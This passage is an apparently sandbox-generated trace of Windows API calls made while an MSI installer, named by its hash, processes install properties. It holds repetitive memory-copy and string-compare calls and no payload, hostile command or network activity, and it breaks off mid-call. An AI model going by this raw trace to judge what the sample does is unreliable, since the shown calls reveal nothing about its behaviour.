_Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.592] lstrlenW (lpString="[~~~]") returned 5 [0068.592] lstrlenW (lpString="[~~~]") returned 5 [0068.592] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.592] memcpy (in: _Dst=0x32f780, _Src=0x31fcd4, _Size=0x50 | out: _Dst=0x32f780) returned 0x32f780 [0068.593] memcpy (in: _Dst=0x33a620, _Src=0x31fd28, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.593] memcpy (in: _Dst=0x3387d0, _Src=0x31fd3e, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.593] memcpy (in: _Dst=0x3387d0, _Src=0x31fd48, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.593] memcpy (in: _Dst=0x338830, _Src=0x31fd5c, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.594] memcpy (in: _Dst=0x33a620, _Src=0x31fd6e, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.594] memcpy (in: _Dst=0x2fa540, _Src=0x31fd92, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.594] memcpy (in: _Dst=0x33a620, _Src=0x31fdbc, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.595] memcpy (in: _Dst=0x3387d0, _Src=0x31fdda, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.595] memcpy (in: _Dst=0x33a620, _Src=0x31fde0, _Size=0x1e | out: _Dst=0x33a620) returned 0x33a620 [0068.595] memcpy (in: _Dst=0x3387d0, _Src=0x31fe02, _Size=0x8 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.596] memcpy (in: _Dst=0x33a620, _Src=0x31fe0e, _Size=0x16 | out: _Dst=0x33a620) returned 0x33a620 [0068.596] memcpy (in: _Dst=0x2fa540, _Src=0x31fe28, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.596] memcpy (in: _Dst=0x33a620, _Src=0x31fe52, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.597] memcpy (in: _Dst=0x338fd0, _Src=0x31fe68, _Size=0x34 | out: _Dst=0x338fd0) returned 0x338fd0 [0068.597] memcpy (in: _Dst=0x33a620, _Src=0x31fea0, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.597] memcpy (in: _Dst=0x3387d0, _Src=0x31feb6, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.598] memcpy (in: _Dst=0x33a620, _Src=0x31fec0, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.598] memcpy (in: _Dst=0x3387d0, _Src=0x31fede, _Size=0xe | out: _Dst=0x3387d0) returned 0x3387d0 [0068.599] memcpy (in: _Dst=0x3387d0, _Src=0x31fef0, _Size=0xc | out: _Dst=0x3387d0) returned 0x3387d0 [0068.599] memcpy (in: _Dst=0x338830, _Src=0x31ff00, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.600] memcpy (in: _Dst=0x33a620, _Src=0x31ff12, _Size=0x18 | out: _Dst=0x33a620) returned 0x33a620 [0068.600] memcpy (in: _Dst=0x3387d0, _Src=0x31ff2e, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.601] memcpy (in: _Dst=0x33a620, _Src=0x31ff34, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.601] memcpy (in: _Dst=0x3387d0, _Src=0x31ff54, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.602] memcpy (in: _Dst=0x3387d0, _Src=0x31ff5c, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.602] memcpy (in: _Dst=0x33a620, _Src=0x31ff6e, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.603] lstrlenW (lpString="TRANSFORMSATSOURCE") returned 18 [0068.603] memcpy (in: _Dst=0x33a620, _Src=0x31fcb0, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.603] lstrlenW (lpString="[~~~]") returned 5 [0068.603] lstrlenW (lpString="[~~~]") returned 5 [0068.603] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.603] memcpy (in: _Dst=0x32f780, _Src=0x31fcd4, _Size=0x50 | out: _Dst=0x32f780) returned 0x32f780 [0068.604] memcpy (in: _Dst=0x33a620, _Src=0x31fd28, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.604] memcpy (in: _Dst=0x3387d0, _Src=0x31fd3e, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.604] memcpy (in: _Dst=0x3387d0, _Src=0x31fd48, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.604] memcpy (in: _Dst=0x338830, _Src=0x31fd5c, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.605] memcpy (in: _Dst=0x33a620, _Src=0x31fd6e, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.605] memcpy (in: _Dst=0x2fa540, _Src=0x31fd92, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.606] memcpy (in: _Dst=0x33a620, _Src=0x31fdbc, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.606] memcpy (in: _Dst=0x3387d0, _Src=0x31fdda, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.606] memcpy (in: _Dst=0x33a620, _Src=0x31fde0, _Size=0x1e | out: _Dst=0x33a620) returned 0x33a620 [0068.606] memcpy (in: _Dst=0x3387d0, _Src=0x31fe02, _Size=0x8 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.607] memcpy (in: _Dst=0x33a620, _Src=0x31fe0e, _Size=0x16 | out: _Dst=0x33a620) returned 0x33a620 [0068.607] memcpy (in: _Dst=0x2fa540, _Src=0x31fe28, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.608] memcpy (in: _Dst=0x33a620, _Src=0x31fe52, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.608] memcpy (in: _Dst=0x338fd0, _Src=0x31fe68, _Size=0x34 | out: _Dst=0x338fd0) returned 0x338fd0 [0068.608] memcpy (in: _Dst=0x33a620, _Src=0x31fea0, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.608] memcpy (in: _Dst=0x3387d0, _Src=0x31feb6, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.609] memcpy (in: _Dst=0x33a620, _Src=0x31fec0, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.609] memcpy (in: _Dst=0x3387d0, _Src=0x31fede, _Size=0xe | out: _Dst=0x3387d0) returned 0x3387d0 [0068.610] memcpy (in: _Dst=0x3387d0, _Src=0x31fef0, _Size=0xc | out: _Dst=0x3387d0) returned 0x3387d0 [0068.610] memcpy (in: _Dst=0x338830, _Src=0x31ff00, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.610] memcpy (in: _Dst=0x33a620, _Src=0x31ff12, _Size=0x18 | out: _Dst=0x33a620) returned 0x33a620 [0068.610] memcpy (in: _Dst=0x3387d0, _Src=0x31ff2e, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.611] memcpy (in: _Dst=0x33a620, _Src=0x31ff34, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.611] memcpy (in: _Dst=0x3387d0, _Src=0x31ff54, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.611] memcpy (in: _Dst=0x3387d0, _Src=0x31ff5c, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.611] memcpy (in: _Dst=0x33a620, _Src=0x31ff6e, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.612] lstrlenW (lpString="MSIPACKAGEDOWNLOADLOCALCOPY") returned 27 [0068.612] memcpy (in: _Dst=0x33a620, _Src=0x31fcb0, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.612] lstrlenW (lpString="[~~~]") returned 5 [0068.612] lstrlenW (lpString="[~~~]") returned 5 [0068.612] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.612] memcpy (in: _Dst=0x32f780, _Src=0x31fcd4, _Size=0x50 | out: _Dst=0x32f780) returned 0x32f780 [0068.613] memcpy (in: _Dst=0x33a620, _Src=0x31fd28, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.613] memcpy (in: _Dst=0x3387d0, _Src=0x31fd3e, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.614] memcpy (in: _Dst=0x3387d0, _Src=0x31fd48, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.614] memcpy (in: _Dst=0x338830, _Src=0x31fd5c, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.615] memcpy (in: _Dst=0x33a620, _Src=0x31fd6e, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.615] memcpy (in: _Dst=0x2fa540, _Src=0x31fd92, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.615] memcpy (in: _Dst=0x33a620, _Src=0x31fdbc, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.616] memcpy (in: _Dst=0x3387d0, _Src=0x31fdda, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.618] memcpy (in: _Dst=0x33a620, _Src=0x31fde0, _Size=0x1e | out: _Dst=0x33a620) returned 0x33a620 [0068.618] memcpy (in: _Dst=0x3387d0, _Src=0x31fe02, _Size=0x8 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.619] memcpy (in: _Dst=0x33a620, _Src=0x31fe0e, _Size=0x16 | out: _Dst=0x33a620) returned 0x33a620 [0068.619] memcpy (in: _Dst=0x2fa540, _Src=0x31fe28, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.619] memcpy (in: _Dst=0x33a620, _Src=0x31fe52, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.620] memcpy (in: _Dst=0x338fd0, _Src=0x31fe68, _Size=0x34 | out: _Dst=0x338fd0) returned 0x338fd0 [0068.620] memcpy (in: _Dst=0x33a620, _Src=0x31fea0, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.620] memcpy (in: _Dst=0x3387d0, _Src=0x31feb6, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.621] memcpy (in: _Dst=0x33a620, _Src=0x31fec0, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.621] memcpy (in: _Dst=0x3387d0, _Src=0x31fede, _Size=0xe | out: _Dst=0x3387d0) returned 0x3387d0 [0068.622] memcpy (in: _Dst=0x3387d0, _Src=0x31fef0, _Size=0xc | out: _Dst=0x3387d0) returned 0x3387d0 [0068.622] memcpy (in: _Dst=0x338830, _Src=0x31ff00, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.623] memcpy (in: _Dst=0x33a620, _Src=0x31ff12, _Size=0x18 | out: _Dst=0x33a620) returned 0x33a620 [0068.623] memcpy (in: _Dst=0x3387d0, _Src=0x31ff2e, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.623] memcpy (in: _Dst=0x33a620, _Src=0x31ff34, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.623] memcpy (in: _Dst=0x3387d0, _Src=0x31ff54, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.623] memcpy (in: _Dst=0x3387d0, _Src=0x31ff5c, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.624] memcpy (in: _Dst=0x33a620, _Src=0x31ff6e, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.624] lstrlenW (lpString="MSIPATCHDOWNLOADLOCALCOPY") returned 25 [0068.624] memcpy (in: _Dst=0x33a620, _Src=0x31fcb0, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.624] lstrlenW (lpString="[~~~]") returned 5 [0068.624] lstrlenW (lpString="[~~~]") returned 5 [0068.624] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.625] memcpy (in: _Dst=0x32f780, _Src=0x31fcd4, _Size=0x50 | out: _Dst=0x32f780) returned 0x32f780 [0068.625] memcpy (in: _Dst=0x33a620, _Src=0x31fd28, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.625] memcpy (in: _Dst=0x3387d0, _Src=0x31fd3e, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.626] memcpy (in: _Dst=0x3387d0, _Src=0x31fd48, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.626] memcpy (in: _Dst=0x338830, _Src=0x31fd5c, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.626] memcpy (in: _Dst=0x33a620, _Src=0x31fd6e, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.626] memcpy (in: _Dst=0x2fa540, _Src=0x31fd92, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.627] memcpy (in: _Dst=0x33a620, _Src=0x31fdbc, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.627] memcpy (in: _Dst=0x3387d0, _Src=0x31fdda, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.627] memcpy (in: _Dst=0x33a620, _Src=0x31fde0, _Size=0x1e | out: _Dst=0x33a620) returned 0x33a620 [0068.627] memcpy (in: _Dst=0x3387d0, _Src=0x31fe02, _Size=0x8 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.628] memcpy (in: _Dst=0x33a620, _Src=0x31fe0e, _Size=0x16 | out: _Dst=0x33a620) returned 0x33a620 [0068.628] memcpy (in: _Dst=0x2fa540, _Src=0x31fe28, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.629] memcpy (in: _Dst=0x33a620, _Src=0x31fe52, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.629] memcpy (in: _Dst=0x338fd0, _Src=0x31fe68, _Size=0x34 | out: _Dst=0x338fd0) returned 0x338fd0 [0068.630] memcpy (in: _Dst=0x33a620, _Src=0x31fea0, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.630] memcpy (in: _Dst=0x3387d0, _Src=0x31feb6, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.630] memcpy (in: _Dst=0x33a620, _Src=0x31fec0, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.630] memcpy (in: _Dst=0x3387d0, _Src=0x31fede, _Size=0xe | out: _Dst=0x3387d0) returned 0x3387d0 [0068.631] memcpy (in: _Dst=0x3387d0, _Src=0x31fef0, _Size=0xc | out: _Dst=0x3387d0) returned 0x3387d0 [0068.631] memcpy (in: _Dst=0x338830, _Src=0x31ff00, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.633] memcpy (in: _Dst=0x33a620, _Src=0x31ff12, _Size=0x18 | out: _Dst=0x33a620) returned 0x33a620 [0068.633] memcpy (in: _Dst=0x3387d0, _Src=0x31ff2e, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.633] memcpy (in: _Dst=0x33a620, _Src=0x31ff34, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.634] memcpy (in: _Dst=0x3387d0, _Src=0x31ff54, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.634] memcpy (in: _Dst=0x3387d0, _Src=0x31ff5c, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.634] memcpy (in: _Dst=0x33a620, _Src=0x31ff6e, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.635] lstrlenW (lpString="INSTALL") returned 7 [0068.635] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0068.635] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0068.635] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0068.635] lstrlenW (lpString="SHLWAPI") returned 7 [0068.635] GetSystemDirectoryW (in: lpBuffer=0x10cee20, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0068.635] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\SHLWAPI.DLL") returned 0x7fefe890000 [0068.636] GetProcAddress (hModule=0x7fefe890000, lpProcName="UrlIsW") returned 0x7fefe89cee4 [0068.636] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.636] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", UrlIs=0x0) returned 0 [0068.638] lstrlenW (lpString="CLIENTUILEVEL") returned 13 [0068.638] memcpy (in: _Dst=0x33a620, _Src=0x31fcb0, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.639] lstrlenW (lpString="[~~~]") returned 5 [0068.639] lstrlenW (lpString="[~~~]") returned 5 [0068.639] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.639] memcpy (in: _Dst=0x32f780, _Src=0x31fcd4, _Size=0x50 | out: _Dst=0x32f780) returned 0x32f780 [0068.639] memcpy (in: _Dst=0x33a620, _Src=0x31fd28, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.639] memcpy (in: _Dst=0x3387d0, _Src=0x31fd3e, _Size=0x6 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.640] memcpy (in: _Dst=0x3387d0, _Src=0x31fd48, _Size=0x10 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.640] memcpy (in: _Dst=0x338830, _Src=0x31fd5c, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.641] memcpy (in: _Dst=0x33a620, _Src=0x31fd6e, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.641] memcpy (in: _Dst=0x2fa540, _Src=0x31fd92, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.641] memcpy (in: _Dst=0x33a620, _Src=0x31fdbc, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.641] memcpy (in: _Dst=0x3387d0, _Src=0x31fdda, _Size=0x2 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.642] memcpy (in: _Dst=0x33a620, _Src=0x31fde0, _Size=0x1e | out: _Dst=0x33a620) returned 0x33a620 [0068.642] memcpy (in: _Dst=0x338830, _Src=0x31fe02, _Size=0x8 | out: _Dst=0x338830) returned 0x338830 [0068.642] memcpy (in: _Dst=0x33a620, _Src=0x31fe0e, _Size=0x16 | out: _Dst=0x33a620) returned 0x33a620 [0068.642] memcpy (in: _Dst=0x2fa540, _Src=0x31fe28, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.642] memcpy (in: _Dst=0x33a620, _Src=0x31fe52, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.642] memcpy (in: _Dst=0x338fd0, _Src=0x31fe68, _Size=0x34 | out: _Dst=0x338fd0) returned 0x338fd0 [0068.642] memcpy (in: _Dst=0x33a620, _Src=0x31fea0, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.642] memcpy (in: _Dst=0x338830, _Src=0x31feb6, _Size=0x6 | out: _Dst=0x338830) returned 0x338830 [0068.642] memcpy (in: _Dst=0x33a620, _Src=0x31fec0, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.642] memcpy (in: _Dst=0x338830, _Src=0x31fede, _Size=0xe | out: _Dst=0x338830) returned 0x338830 [0068.642] memcpy (in: _Dst=0x338830, _Src=0x31fef0, _Size=0xc | out: _Dst=0x338830) returned 0x338830 [0068.643] memcpy (in: _Dst=0x338860, _Src=0x31ff00, _Size=0xe | out: _Dst=0x338860) returned 0x338860 [0068.643] memcpy (in: _Dst=0x33a620, _Src=0x31ff12, _Size=0x18 | out: _Dst=0x33a620) returned 0x33a620 [0068.643] memcpy (in: _Dst=0x338830, _Src=0x31ff2e, _Size=0x2 | out: _Dst=0x338830) returned 0x338830 [0068.643] memcpy (in: _Dst=0x33a620, _Src=0x31ff34, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.643] memcpy (in: _Dst=0x338830, _Src=0x31ff54, _Size=0x2 | out: _Dst=0x338830) returned 0x338830 [0068.643] memcpy (in: _Dst=0x338830, _Src=0x31ff5c, _Size=0x10 | out: _Dst=0x338830) returned 0x338830 [0068.643] memcpy (in: _Dst=0x33a620, _Src=0x31ff6e, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.643] lstrlenW (lpString="CLIENTPROCESSID") returned 15 [0068.643] memcpy (in: _Dst=0x33a620, _Src=0x31fcb0, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.643] lstrlenW (lpString="[~~~]") returned 5 [0068.643] lstrlenW (lpString="[~~~]") returned 5 [0068.643] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="[BZ.COMPANYNAME]\\\" TARGETDIR=\"C:\\\" USERNAME=\"t9vI8CM\" CURRENTDIRECTORY=\"C:\\Windows\\system32\" CLIENTUILEVEL=\"0\" CLIENTPROCESSID=\"3848\" COMPANYNAME=\"dtkCQ3 DOuZrvfqUDBR\" SOURCEDIR=\"C:\\Users\\KEECFM~1\\Desktop\\\" ROOTDRIVE=\"C:\\\" EXECUTEACTION=\"INSTALL\" ACTION=\"INSTALL\" INSTALLLEVEL=\"1\" SECONDSEQUENCE=\"1\" ADDLOCAL=ProductFeature ", cchCount1=5, lpString2="[~~~]", cchCount2=5) returned 3 [0068.643] memcpy (in: _Dst=0x32f780, _Src=0x31fcd4, _Size=0x50 | out: _Dst=0x32f780) returned 0x32f780 [0068.643] memcpy (in: _Dst=0x33a620, _Src=0x31fd28, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.643] memcpy (in: _Dst=0x338830, _Src=0x31fd3e, _Size=0x6 | out: _Dst=0x338830) returned 0x338830 [0068.643] memcpy (in: _Dst=0x338830, _Src=0x31fd48, _Size=0x10 | out: _Dst=0x338830) returned 0x338830 [0068.643] memcpy (in: _Dst=0x338860, _Src=0x31fd5c, _Size=0xe | out: _Dst=0x338860) returned 0x338860 [0068.643] memcpy (in: _Dst=0x33a620, _Src=0x31fd6e, _Size=0x20 | out: _Dst=0x33a620) returned 0x33a620 [0068.644] memcpy (in: _Dst=0x2fa540, _Src=0x31fd92, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.644] memcpy (in: _Dst=0x33a620, _Src=0x31fdbc, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.644] memcpy (in: _Dst=0x338830, _Src=0x31fdda, _Size=0x2 | out: _Dst=0x338830) returned 0x338830 [0068.644] memcpy (in: _Dst=0x33a620, _Src=0x31fde0, _Size=0x1e | out: _Dst=0x33a620) returned 0x33a620 [0068.644] memcpy (in: _Dst=0x338830, _Src=0x31fe02, _Size=0x8 | out: _Dst=0x338830) returned 0x338830 [0068.644] memcpy (in: _Dst=0x33a620, _Src=0x31fe0e, _Size=0x16 | out: _Dst=0x33a620) returned 0x33a620 [0068.644] memcpy (in: _Dst=0x2fa540, _Src=0x31fe28, _Size=0x26 | out: _Dst=0x2fa540) returned 0x2fa540 [0068.644] memcpy (in: _Dst=0x33a620, _Src=0x31fe52, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.644] memcpy (in: _Dst=0x338fd0, _Src=0x31fe68, _Size=0x34 | out: _Dst=0x338fd0) returned 0x338fd0 [0068.644] memcpy (in: _Dst=0x33a620, _Src=0x31fea0, _Size=0x12 | out: _Dst=0x33a620) returned 0x33a620 [0068.644] memcpy (in: _Dst=0x338860, _Src=0x31feb6, _Size=0x6 | out: _Dst=0x338860) returned 0x338860 [0068.644] memcpy (in: _Dst=0x33a620, _Src=0x31fec0, _Size=0x1a | out: _Dst=0x33a620) returned 0x33a620 [0068.644] memcpy (in: _Dst=0x338860, _Src=0x31fede, _Size=0xe | out: _Dst=0x338860) returned 0x338860 [0068.644] memcpy (in: _Dst=0x338860, _Src=0x31fef0, _Size=0xc | out: _Dst=0x338860) returned 0x338860 [0068.644] memcpy (in: _Dst=0x338890, _Src=0x31ff00, _Size=0xe | out: _Dst=0x338890) returned 0x338890 [0068.644] memcpy (in: _Dst=0x33a620, _Src=0x31ff12, _Size=0x18 | out: _Dst=0x33a620) returned 0x33a620 [0068.645] memcpy (in: _Dst=0x338860, _Src=0x31ff2e, _Size=0x2 | out: _Dst=0x338860) returned 0x338860 [0068.645] memcpy (in: _Dst=0x33a620, _Src=0x31ff34, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.645] memcpy (in: _Dst=0x338860, _Src=0x31ff54, _Size=0x2 | out: _Dst=0x338860) returned 0x338860 [0068.645] memcpy (in: _Dst=0x338860, _Src=0x31ff5c, _Size=0x10 | out: _Dst=0x338860) returned 0x338860 [0068.645] memcpy (in: _Dst=0x33a620, _Src=0x31ff6e, _Size=0x1c | out: _Dst=0x33a620) returned 0x33a620 [0068.645] SetLastError (dwErrCode=0x0) [0068.645] SetLastError (dwErrCode=0x0) [0068.645] lstrlenW (lpString=" ACTION=") returned 8 [0068.645] memcpy (in: _Dst=0x33d500, _Src=0x33d200, _Size=0x2de | out: _Dst=0x33d500) returned 0x33d500 [0068.645] lstrlenW (lpString="INSTALL") returned 7 [0068.645] memcpy (in: _Dst=0x33cfe0, _Src=0x33d500, _Size=0x2ee | out: _Dst=0x33cfe0) returned 0x33cfe0 [0068.645] UrlIsW (pszUrl="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", UrlIs=0x0) returned 0 [0068.645] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0068.646] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.646] UrlIsW 